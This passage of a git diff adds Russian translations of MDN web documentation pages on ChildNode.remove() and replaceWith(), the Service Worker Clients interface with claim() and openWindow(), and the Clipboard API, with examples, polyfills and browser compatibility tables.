+    The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.<br>
+    Добавлены методы <code>remove()</code>, <code>before()</code>, <code>after()</code> и <code>replaceWith()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>23.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..ff5b20cc2d
--- /dev/null
+++ b/files/ru/web/api/childnode/remove/index.html
@@ -0,0 +1,148 @@
+---
+title: Node.remove()
+slug: Web/API/ChildNode/remove
+translation_of: Web/API/ChildNode/remove
+---
+<p>Метод <code><strong>Node.remove()</strong></code> удаляет узел из дерева DOM</p>
+
+<p> </p>
+
+<p>То, что элемент удален из DOM, еще не значит, что он удален совсем! </p>
+
+<p>Он остался объектом и исчезнет только тогда, когда исчезнут все ссылки на него.</p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>Node</em>.remove();
+</pre>
+
+<ul>
+ <li><strong><code>Node</code></strong> - любой узел DOM</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Использование_remove()">Использование remove()</h3>
+
+<pre>&lt;div id="box"&gt;
+   &lt;div id="one"&gt;&lt;/div&gt;
+   &lt;div id="two"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js">var elem = document.querySelector("#one");
+elem.remove();
+alert(document.querySelector("#box").innerHTML); //Исчез блок #one
+alert(elem); //Но как видите, сам объект еще жив</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Можно создать полифилл для IE 9 и выше, используя следующий код:</p>
+
+<pre class="brush: js">(function() {
+  var arr = [window.Element, window.CharacterData, window.DocumentType];
+  var args = [];
+
+  arr.forEach(function (item) {
+    if (item) {
+      args.push(item.prototype);
+    }
+  });
+
+  // from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+  (function (arr) {
+    arr.forEach(function (item) {
+      if (item.hasOwnProperty('remove')) {
+        return;
+      }
+      Object.defineProperty(item, 'remove', {
+        configurable: true,
+        enumerable: true,
+        writable: true,
+        value: function remove() {
+          this.parentNode.removeChild(this);
+        }
+      });
+    });
+  })(args);
+})();</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>23.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/childnode/replacewith/index.html b/files/ru/web/api/childnode/replacewith/index.html
new file mode 100644
index 0000000000..6537d254c4
--- /dev/null
+++ b/files/ru/web/api/childnode/replacewith/index.html
@@ -0,0 +1,113 @@
+---
+title: ChildNode.replaceWith()
+slug: Web/API/ChildNode/replaceWith
+translation_of: Web/API/ChildNode/replaceWith
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>ChildNode.replaceWith()</strong></code> заменяет <code>ChildNode</code> в списке детей их родителя множеством {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} объекты вставляются как эквивалент нод {{domxref("Text")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Множество заменяемых {{domxref("Node")}} или {{domxref("DOMString")}} объектов.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Нода не может быть вставлена в указанную точку иерархии.</span></span></span></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_replaceWith">Использование <code>replaceWith()</code></h3>
+
+<pre class="brush: js notranslate">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="ChildNode.replaceWith_не_выполним"><code>ChildNode.replaceWith()</code> не выполним</h3>
+
+<p>Метод <code>replaceWith()</code> не входит в область видимости оператора <code>with</code>. Смотрите {{jsxref("Symbol.unscopables")}} для дополнительной информации.</p>
+
+<pre class="brush: js notranslate">with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined </pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Вы можете заполнить метод <code>replaceWith()</code> в Internet Explorer 10+ и выше следующим кодом:</p>
+
+<pre class="brush: js notranslate">function ReplaceWithPolyfill() {
+  'use-strict'; // For safari, and IE &gt; 10
+  var parent = this.parentNode, i = arguments.length, currentNode;
+  if (!parent) return;
+  if (!i) // if there are no arguments
+    parent.removeChild(this);
+  while (i--) { // i-- decrements i and returns the value of i before the decrement
+    currentNode = arguments[i];
+    if (typeof currentNode !== 'object'){
+      currentNode = this.ownerDocument.createTextNode(currentNode);
+    } else if (currentNode.parentNode){
+      currentNode.parentNode.removeChild(currentNode);
+    }
+    // the value of "i" below is after the decrement
+    if (!i) // if currentNode is the first argument (currentNode === arguments[0])
+      parent.replaceChild(currentNode, this);
+    else // if currentNode isn't the first
+      parent.insertBefore(currentNode, this.nextSibling);
+  }
+}
+if (!Element.prototype.replaceWith)
+    Element.prototype.replaceWith = ReplaceWithPolyfill;
+if (!CharacterData.prototype.replaceWith)
+    CharacterData.prototype.replaceWith = ReplaceWithPolyfill;
+if (!DocumentType.prototype.replaceWith)
+    DocumentType.prototype.replaceWith = ReplaceWithPolyfill;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.ChildNode.replaceWith")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/clients/claim/index.html b/files/ru/web/api/clients/claim/index.html
new file mode 100644
index 0000000000..046a4f8a0d
--- /dev/null
+++ b/files/ru/web/api/clients/claim/index.html
@@ -0,0 +1,114 @@
+---
+title: Clients.claim()
+slug: Web/API/Clients/claim
+translation_of: Web/API/Clients/claim
+---
+<p>{{APIRef("Service Worker Clients")}}</p>
+
+<p>Метод <strong><code>claim()</code></strong> интерфейса {{domxref("Clients")}} позволяет активному сервис-воркеру установить себя {{domxref("ServiceWorkerContainer.controller", "контролирующим воркером")}} для всех клиентских страниц в своей {{domxref("ServiceWorkerRegistration.scope", "области видимости")}}. Вызывает событие "<code>controllerchange</code>" на {{domxref("ServiceWorkerContainer","navigator.serviceWorker")}} всех клиентских страниц, контролируемых сервис-воркером.</p>
+
+<p>После регистрации сервис-воркера страницы не начнут использовать его, пока не загрузятся вновь. Метод <code>claim()</code> позволяет установить контроль над страницами немедленно. Имейте в виду, что в этом случае ваш сервис-воркер будет контролировать все загружаемые по сети страницы этого origin, в т. ч. из других сервис-воркеров.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">await clients.claim();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Результат">Результат</h3>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of these states:">Promise</a></code> с <code>undefined</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В примере ниже внутри обработчика события "<code>activate</code>" сервис-воркера используется метод <code>claim()</code>, что позволяет клиентской странице, загруженной в той же области видимости, обходиться без перезагрузки для использования сервис-воркером.</p>
+
+<pre class="brush: js">self.addEventListener('activate', event =&gt; {
+  event.waitUntil(clients.claim());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition. It is still under development (see <a href="https://github.com/slightlyoff/ServiceWorker/issues/414">issue 414</a> and <a href="https://github.com/slightlyoff/ServiceWorker/issues/423">issue 423</a>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Worker</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">The service worker lifecycle</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li>{{domxref("ServiceWorkerGlobalScope.skipWaiting()", "self.skipWaiting()")}} — переключайте состояние ожидания сервис-воркера</li>
+</ul>
diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html
new file mode 100644
index 0000000000..5372df8139
--- /dev/null
+++ b/files/ru/web/api/clients/index.html
@@ -0,0 +1,128 @@
+---
+title: Clients
+slug: Web/API/Clients
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Expérimental(2)
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+  - Workers
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>Интерфейс <code>Clients</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers API</a> представляет собой контейнер со списком объектов {{domxref("Client")}}.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Получает клиента сервис воркера, соответствующего данному <code>id,</code> и возвращает его в {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Получает список клиентов сервис воркера и возвращает их в {{jsxref("Promise")}}. Включает параметр <code>options</code> для возврата всех клиентов сервис воркера, чьи источники являются теми же источниками, что и у связанного источника сервис воркера. Если <code>options</code> не включены, метод возвращает только тех клиентов сервис воркера, которых тот контролирует. </dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Открывает {{domxref("Client")}} сервис воркера в новом окне браузера.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Позволяет активному Сервис Воркеру установить себя, как активного воркера для клиентской страницы, когда воркер и страница находятся в одной области. </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">clients.matchAll(options).then(function(clients) {
+  for (i = 0 ; i &lt; clients.length ; i++) {
+    if (clients[i] === 'index.html') {
+      clients.openWindow(clients[i]);
+      // или сделать что-то другое, с учетом подошедшего клиента
+    }
+  }
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html
new file mode 100644
index 0000000000..64d67ce7ca
--- /dev/null
+++ b/files/ru/web/api/clients/openwindow/index.html
@@ -0,0 +1,91 @@
+---
+title: Clients.openWindow()
+slug: Web/API/Clients/openWindow
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Method
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - openWindow
+translation_of: Web/API/Clients/openWindow
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создает новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p>
+
+<p>В Firefox этому методу разрешено отображать всплывающие окна только при вызове события клике по уведомлению.</p>
+
+<p>В Chrome для Android этот метод может открыть URL-адрес в существующем контексте просмотра, предоставляемым автономным веб-приложением (<a href="/en-US/docs/Web/Progressive_web_apps">standalone web app</a>), ранее добавленным на главный экран пользователя. С недавнего времени это также работает в Chrome для Windows.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) {
+  // Do something with your WindowClient
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>{{domxref("USVString")}} - URL-адрес клиента, который вы хотите открыть. Обычно это значение должно быть URL из того же источника, что и вызывающий скрипт.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dd>{{jsxref("Promise")}}, который преобразуется в объект {{domxref("WindowClient")}}, если URL-адрес исходит из того же источника, что и сервис-воркер, иначе {{Glossary("null", "null value")}} .</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Отправить уведомление в OS, если возможно
+if (self.Notification.permission === 'granted') {
+  const notificationObject = {
+    body: 'Click here to view your messages.',
+    data: { url: self.location.origin + '/some/path' },
+    // data: { url: 'http://example.com' },
+  };
+  self.registration.showNotification('You\'ve got messages!', notificationObject);
+}
+
+// Слушатель события клика по уведомлению
+self.addEventListener('notificationclick', e =&gt; {
+  // Закрываем всплывающее окно с уведомлением
+  e.notification.close();
+  // Получите все клиенты Windows
+  e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr =&gt; {
+    // Если вкладка, соответствующая целевому URL-адресу, уже существует, сфокусируйтесь на ней;
+    const hadWindowToFocus = clientsArr.some(windowClient =&gt; windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false);
+    // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте ее.
+    if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient =&gt; windowClient ? windowClient.focus() : null);
+  }));
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients-openwindow', 'Clients: openWindow')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients.openWindow")}}</p>
+</div>
diff --git a/files/ru/web/api/clipboard_api/index.html b/files/ru/web/api/clipboard_api/index.html
new file mode 100644
index 0000000000..3f31bfe692
--- /dev/null
+++ b/files/ru/web/api/clipboard_api/index.html
@@ -0,0 +1,95 @@
+---
+title: Clipboard API
+slug: Web/API/Clipboard_API
+tags:
+  - API
+  - Async Clipboard API
+  - Clipboard
+  - Clipboard API
+  - Clipboard Event API
+  - ClipboardEvent
+  - ClipboardItem
+  - Cut
+  - Landing
+  - Reference
+  - copy
+  - paste
+translation_of: Web/API/Clipboard_API
+---
+<div>{{DefaultAPISidebar("Clipboard API")}}</div>
+
+<div></div>
+
+<div><strong>Clipboard API </strong>предоставляет возможность реагировать на команды буфера обмена (вырезать, копировать и вставить), а также выполнять асинхронные чтение/запись в системный буфер обмена. Доступ к содержимому буфера обмена осуществляется через <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a>: <code>clipboard-write</code> (разрешение на запись) в буфер обмена автоматически предоставляется страницам, когда они находятся на активной вкладке. Для <code>clipboard-read</code> (чтение из буфера обмена) должно быть запрошено разрешение пользователя. Можно сделать запрос на разрешение, попытавшись прочитать данные из буфера обмена.</div>
+
+<div></div>
+
+<p>API предназначен для доступа к буферу обмена, используя {{domxref("document.execCommand()")}}.</p>
+
+<h2 id="Доступ_к_буферу_обмена">Доступ к буферу обмена</h2>
+
+<p>Вместо создания объекта буфера посредством инициализации экземпляра, вы получаете доступ к системному буферу обмена через глобальный {{domxref("Navigator.clipboard")}}:</p>
+
+<pre class="brush: js notranslate">navigator.clipboard.readText().then(
+  clipText =&gt; document.querySelector(".editor").innerText += clipText);</pre>
+
+<p>Этот фрагмент извлекает текст из буфера обмена и добавляет его к первому элементу, найденному с помощью <code>editor</code> (редактора) классов. Этот код безопасен, поскольку {{domxref("Clipboard.readText", "readText()")}} (и {{domxref("Clipboard.read", "read()")}}, если на то пошло) возвращает пустую строку, если в буфере обмена нет текста.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Clipboard")}} {{securecontext_inline}}</dt>
+ <dd>Предоставляет интерфейс для чтения/записи текста и данных в системный буфер обмена. В спецификации называется 'Async Clipboard API (API асинхронного буфера обмена)'.</dd>
+ <dt>{{domxref("ClipboardEvent")}} {{securecontext_inline}}</dt>
+ <dd>Представляет события, содержащие информацию, относящуюся к модификации буфера обмена, а именно {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}} и {{domxref("Element/paste_event", "paste")}} события. В спецификации называется 'Clipboard Event API (API событий буфера обмена)'.</dd>
+ <dt>{{domxref("ClipboardItem")}} {{securecontext_inline}}</dt>
+ <dd>Представляет единый формат элемента, используемый при чтении или записи данных.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<h3 id="Clipboard">Clipboard</h3>
+
+<div>
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h3 id="ClipboardEvent">ClipboardEvent</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h3 id="ClipboardItem">ClipboardItem</h3>
+
+
+
+<p>{{Compat("api.ClipboardItem")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://async-clipboard-api.glitch.me/">Async Clipboard API demo on Glitch</a> (Демонстрация API асинхронного буфера на Glitch)</li>
+ <li><a href="https://web.dev/image-support-for-async-clipboard/">Image support for Async Clipboard article</a> (Поддержка изображений в асинхронном буфере обмена)</li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a></li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+</ul>
+</div>
diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..cf2d83a50f
--- /dev/null
